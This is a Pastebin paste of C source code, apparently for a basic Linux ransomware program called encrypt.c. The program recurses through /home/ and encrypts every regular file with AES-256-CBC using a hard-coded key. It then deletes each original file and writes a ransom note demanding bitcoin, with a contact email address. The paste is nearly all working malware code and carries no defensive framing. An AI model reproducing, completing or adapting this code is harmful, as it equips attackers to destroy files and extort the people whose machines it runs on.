Advertisement
FlyFar

encrypt.c

Mar 28th, 2023
652
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.62 KB | Cybersecurity | 0 0
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <dirent.h>
  5. #include <openssl/evp.h>
  6. #include <openssl/aes.h>
  7.  
  8.  
  9. void ls_dir(char* start_path); // function declaration
  10. void encryptfile(FILE * fpin,FILE* fpout,unsigned char* key, unsigned char* iv); // function declaration
  11.  
  12.  
  13. int main()
  14. {
  15.    
  16.    
  17.     char* start_path;
  18.     start_path = "/home/";// linux home directory
  19.         ls_dir(start_path); // passing startpath in ls dir function
  20.  
  21.     return 0;
  22. }
  23.  
  24. void ls_dir(char* start_path)
  25. {
  26.     unsigned char key[] = "12345678901234561234567890123456";// 32 char 256bit key
  27.         unsigned char iv[] = "1234567890123456";//same size as block 16 char 128 bit block
  28.  
  29.     DIR* dir;
  30.     struct dirent *ent;
  31.     if((dir=opendir(start_path)) !=NULL)
  32.     {
  33.         while((ent=readdir(dir)) !=NULL)
  34.         {
  35.             int len = strlen(ent->d_name);
  36.             const char* last_four = &ent->d_name[len-4];
  37.             if(strcmp(last_four,".enc") != 0)
  38.             {
  39.                 if(ent->d_type == 8)
  40.                 {
  41.                     char* full_path_readme =(char*) malloc(strlen("RANSOMEWARE_INFO")+strlen(start_path)+2);
  42.                     strcpy(full_path_readme,start_path);
  43.                     strcat(full_path_readme,"RANSOMEWARE_INFO");
  44.                     char* full_path =(char*) malloc(strlen(ent->d_name)+strlen(start_path)+2);
  45.                     strcpy(full_path,start_path);
  46.                     strcat(full_path,ent->d_name);
  47.                     char* new_name = (char*) malloc(strlen(full_path)+strlen(".enc")+1);
  48.                     strcpy(new_name,full_path);
  49.                     strcat(new_name,".enc");
  50.                     if(strcmp(full_path,"/etc/passwd") !=0 && strcmp(full_path,"/etc/shadow")!=0 && strcmp(full_path,"/etc/sudoers") !=0)
  51.                     {
  52.                         FILE* fpin;
  53.                         FILE* fpout;
  54.                         FILE* fpreadme;
  55.                    
  56.                        
  57.                         fpin=fopen(full_path,"rb");
  58.                         fpout=fopen(new_name,"wb");
  59.                         fpreadme=fopen(full_path_readme,"w");
  60.                        
  61.                         fprintf(fpreadme,"You have been PWNED! \n\n Hear me ROAR All files belong to me and are in an encrypted state. I have but two simple commands.\n\n 1. Tranfer money to my bitcoin address \n 2. Email me with your bitcoin address that you used to send the money. Then I will email with an antidote \n\n Pay me Now! \n My Bitcoin Address:Xg7665tgf677hhjhjhhh\n Email:xxxyy@yandex.ru \n");
  62.                         fclose(fpreadme);
  63.                        
  64.                         encryptfile(fpin,fpout,key,iv);
  65.  
  66.                         fclose(fpin);
  67.                         fclose(fpout);
  68.                         remove(full_path);
  69.                     }
  70.                     free(full_path);
  71.                     free(new_name);
  72.                 }
  73.                 else if(ent->d_type==4)
  74.                 {
  75.  
  76.                     char *full_path=(char*) malloc(strlen(start_path)+strlen(ent->d_name)+2);
  77.                     strcpy(full_path,start_path);
  78.                     strcat(full_path,ent->d_name);
  79.                     strcat(full_path,"/");
  80.                     printf("%s\n",full_path);
  81.                     if(full_path != start_path && ent->d_name[0] != '.')
  82.                     {
  83.                         ls_dir(full_path);
  84.                     }
  85.                    
  86.                     free(full_path);
  87.  
  88.  
  89.                 }
  90.  
  91.             }
  92.         }
  93.     }
  94.  
  95. }
  96. void encryptfile(FILE * fpin,FILE* fpout,unsigned char* key, unsigned char* iv)
  97. {
  98.     //Using openssl EVP to encrypt a file
  99.  
  100.    
  101.     const unsigned bufsize = 4096;
  102.     unsigned char* read_buf = malloc(bufsize);
  103.     unsigned char* cipher_buf ;
  104.     unsigned blocksize;
  105.     int out_len;
  106.  
  107.     EVP_CIPHER_CTX ctx;
  108.  
  109.     EVP_CipherInit(&ctx,EVP_aes_256_cbc(),key,iv,1);
  110.     blocksize = EVP_CIPHER_CTX_block_size(&ctx);
  111.     cipher_buf = malloc(bufsize+blocksize);
  112.  
  113.     // read file and write encrypted file until eof
  114.     while(1)
  115.     {
  116.         int bytes_read = fread(read_buf,sizeof(unsigned char),bufsize,fpin);
  117.         EVP_CipherUpdate(&ctx,cipher_buf,&out_len,read_buf, bytes_read);
  118.         fwrite(cipher_buf,sizeof(unsigned char),out_len,fpout);
  119.         if(bytes_read < bufsize)
  120.         {
  121.             break;//EOF
  122.         }
  123.     }
  124.  
  125.     EVP_CipherFinal(&ctx,cipher_buf,&out_len);
  126.     fwrite(cipher_buf,sizeof(unsigned char),out_len,fpout);
  127.  
  128.     free(cipher_buf);
  129.     free(read_buf);
  130. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement